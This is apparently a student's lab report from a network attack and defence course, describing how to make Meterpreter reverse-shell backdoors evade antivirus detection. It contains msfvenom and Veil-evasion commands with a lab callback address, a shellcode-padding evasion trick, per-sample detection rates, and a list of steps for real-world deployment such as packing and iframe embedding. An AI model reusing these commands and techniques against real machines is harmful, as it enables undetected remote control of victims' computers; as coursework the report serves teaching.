zoukankan      html  css  js  c++  java
  • 2017-2018-2 20155315《网络对抗技术》Exp3:免杀原理与实践

    实验目的

    通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。
    教程

    实验内容

    • 使用msf编码器,msfvenom,veil-evasion,shellcode编程等免杀工具。
    • 通过组合应用各种技术实现恶意代码免杀。
    • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功。

    实验步骤

    (一)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    • 使用msfvenom直接生成可执行文件,virus total报毒
    • 使用msfvenom编码器一次或多次报毒率没有多大区别
    • 使用veil-evasion生成可执行文件,安装veil之后输入veil进入操作界面
    • 使用use evasion进入evasion操作界面,可以看到可使用的payload有很多
    • 输入list列出所有的payload,使用c/meterpreter/rev_tcp.py,使用命令生成文件
    use 7                    //c/meterpreter/rev_tcp.py所在选项
    set LHOST 192.168.64.129 //设置返回地址
    set LPORT 5315           //设置端口号
    generate                 //执行命令
    
    • 使用options显示参数
    • 输入文件名,保存在/var/lib/veil/output/compiled
    • 用virscan检测,报毒率减少了许多
    • 使用c语言生成shellcode数组
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.129 LPORT=5315 -f c
    
    • 生成可执行文件,回连成功
    • virscan报毒率为23%

    (二)通过组合应用各种技术实现恶意代码免杀

    • Linux下生成shellcode
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.129 LPORT=5315 -f c
    
    • 使用vs编译调用shellcode
    • 运行生成的文件,回连成功
    • virscan报毒率变成了10%,看来胜利在望。
    • 通过老师的方法报毒率减少了很多,那是不是可以把shellcode处理一下,使杀软检测不到特征码呢?于是我用之前计算机实习时的一个程序随机的向shellcode中添加了50个/?将shellcode的代码进行处理后使用函数调用,运行后腾讯电脑管家没有报错,回连成功。
    • 用virscan进行扫描,只有瑞星的杀毒软件查出了病毒。(ps:瑞星真的强大,每次都能查出病毒,事实证明电脑管家可以换掉了)

    (三) 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 系统:win10
    • 杀软:腾讯电脑管家 12.11
    • 与本机杀软共生
    • 回连成功

    实验中遇到的问题

    • 一开始使用vs生成空项目,添加cpp文件之后编译总是报错,查找资料后发现应该使用的是vc++的Windows控制台应用程序。
    • 用自己编的代码生成程序的时候报错,调试后发现是循环的条件不对,不能单纯通过''来判断是否在数组的结尾,修改之后编译成功。

    实验中进行测试的程序

    序号 程序名 来源 virscan
    1 backdoor1.exe msfvenom直接生成 48%(19/39)
    2 zyl_backdoor1.exe Veil-evasion 23%(9/39)
    3 test1.exe Linux c+shellcode 23%(9/39)
    4 rezyl1.exe UPX压缩壳 15%(6/39)
    5 zyl1.exe vs c+shellcode(简单) 10%(4/39)
    6 zyl3.exe vs c+shellcode(自定义) 2%(1/39)

    基础问题回答

    • 杀软是如何检测出恶意代码的?
      • 如果一个可执行文件中包含特征码,即可执行文件中有一段或多段可疑数据如shellcode之类的,杀软就认为这是恶意代码
      • 如果一个程序有特征码且有未经授权的非法动作时,杀软检测为恶意代码
    • 免杀是做什么?
      • 免杀能够让恶意代码绕过杀软的检测进行非法操作
    • 免杀的基本方法有哪些?
      • 改变特征码,如加壳、c语言调用shellcode
      • 改变行为,尽量使用反弹式连接、减少对系统的修改
      • 非常规方法可使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中

    离实战还缺些什么技术或步骤?

    • 将代码编写成一个函数进行调用
    • 使用多种工具对代码加壳、压缩、伪装等
    • 将代码嵌入网页的iframe中等
    • 将代码伪装成常用工具等

    实验总结

    这次实验在安装veil的时候电脑坏了,重装系统之后用了老师的虚拟机。总的来说实验难度不是很大,主要是在安装各个程序的时候会出现问题。就实验结果来看,自己编的调用shellcode的程序在virscan中的报毒率是最低的,只有一个软件报毒,我电脑上安装的腾讯电脑管家也显示没有发现病毒,虽然实验一步步做下来很有成就感,但是因为之前电脑坏了就有点后怕,做实验之前一定要备份!!安装一个靠谱杀软真的太重要了!

    参考资料

  • 相关阅读:
    AHP
    常用积分公式
    关于纸张尺寸和照片尺寸
    学历学位知多少?
    C++ 类型转换的实现
    CDDIS网站下 GNSS 相关的数据产品下载+命名方式解读+文件格式说明文件下载地址
    windows 获取pc信息
    shell 数组操作
    net use远程重启服务器
    获取邮箱使用情况、以及最后一次logon时间
  • 原文地址:https://www.cnblogs.com/-zyl/p/8757817.html
Copyright © 2011-2022 走看看